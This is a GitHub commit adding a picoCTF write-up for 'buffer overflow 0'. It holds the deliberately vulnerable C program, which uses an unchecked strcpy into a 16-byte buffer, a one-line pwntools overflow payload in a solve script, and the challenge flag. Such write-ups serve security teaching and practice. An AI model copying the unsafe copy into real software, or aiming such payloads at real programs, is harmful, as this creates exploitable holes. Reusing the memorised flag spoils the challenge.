Skip to content

Commit dfda598

Browse files
committed
Added buffer overflow
1 parent 1ac7a43 commit dfda598

File tree

7 files changed

+72
-0
lines changed

7 files changed

+72
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# buffer overflow 0
2+
Points: 150
3+
4+
## Category
5+
Binary Exploitation
6+
7+
## Question
8+
>Let's start off simple, can you overflow the right buffer in this [program](files/vuln) to get the flag? You can also find it in /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d on the shell server. [Source](files/vuln.c).
9+
10+
### Hint
11+
>How can you trigger the flag to print?
12+
>
13+
>If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.
14+
15+
## Solution
16+
Simple buffer overflow question
17+
18+
```bash
19+
./vuln $(python -c "from pwn import *; print 'A' * 28 + p32(0x804862b)")
20+
```
21+
22+
Working solution [solve.sh](solution/solve.sh)
23+
24+
### Flag
25+
`picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}`
7.64 KB
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <signal.h>
5+
6+
#define FLAGSIZE_MAX 64
7+
8+
char flag[FLAGSIZE_MAX];
9+
10+
void sigsegv_handler(int sig) {
11+
fprintf(stderr, "%s\n", flag);
12+
fflush(stderr);
13+
exit(1);
14+
}
15+
16+
void vuln(char *input){
17+
char buf[16];
18+
strcpy(buf, input);
19+
}
20+
21+
int main(int argc, char **argv){
22+
23+
FILE *f = fopen("flag.txt","r");
24+
if (f == NULL) {
25+
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
26+
exit(0);
27+
}
28+
fgets(flag,FLAGSIZE_MAX,f);
29+
signal(SIGSEGV, sigsegv_handler);
30+
31+
gid_t gid = getegid();
32+
setresgid(gid, gid, gid);
33+
34+
if (argc > 1) {
35+
vuln(argv[1]);
36+
printf("Thanks! Received: %s", argv[1]);
37+
}
38+
else
39+
printf("This program takes 1 argument.\n");
40+
return 0;
41+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/sh
2+
3+
./vuln $(python -c "from pwn import *; print 'A' * 28 + p32(0x804862b)")
Binary file not shown.

README.md

+2
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ This CTF was done with [@pauxy](https://github.com/pauxy) and [@StopDuckRoll](ht
1010
- [Web Exploitation](#web-exploitation)
1111

1212
## Binary Exploitation
13+
- [buffer overflow 0](Binary%20Exploitation/buffer%20overflow%200)
1314

1415
## Cryptography
1516
- [Crypto Warmup 1](Cryptography/Crypto%20Warmup%201) - 75
@@ -42,3 +43,4 @@ This CTF was done with [@pauxy](https://github.com/pauxy) and [@StopDuckRoll](ht
4243
- [Logon](Web%20Exploitation/Logon) - 150
4344
- [Mr. Robots](Web%20Exploitation%2FMr.%20Robots) - 200
4445
- [Irish Name Repo](Web%20Exploitation/Irish%20Name%20Repo) - 200
46+
- [Buttons](Web%20Exploitation/Buttons) - 250

0 commit comments

Comments
 (0)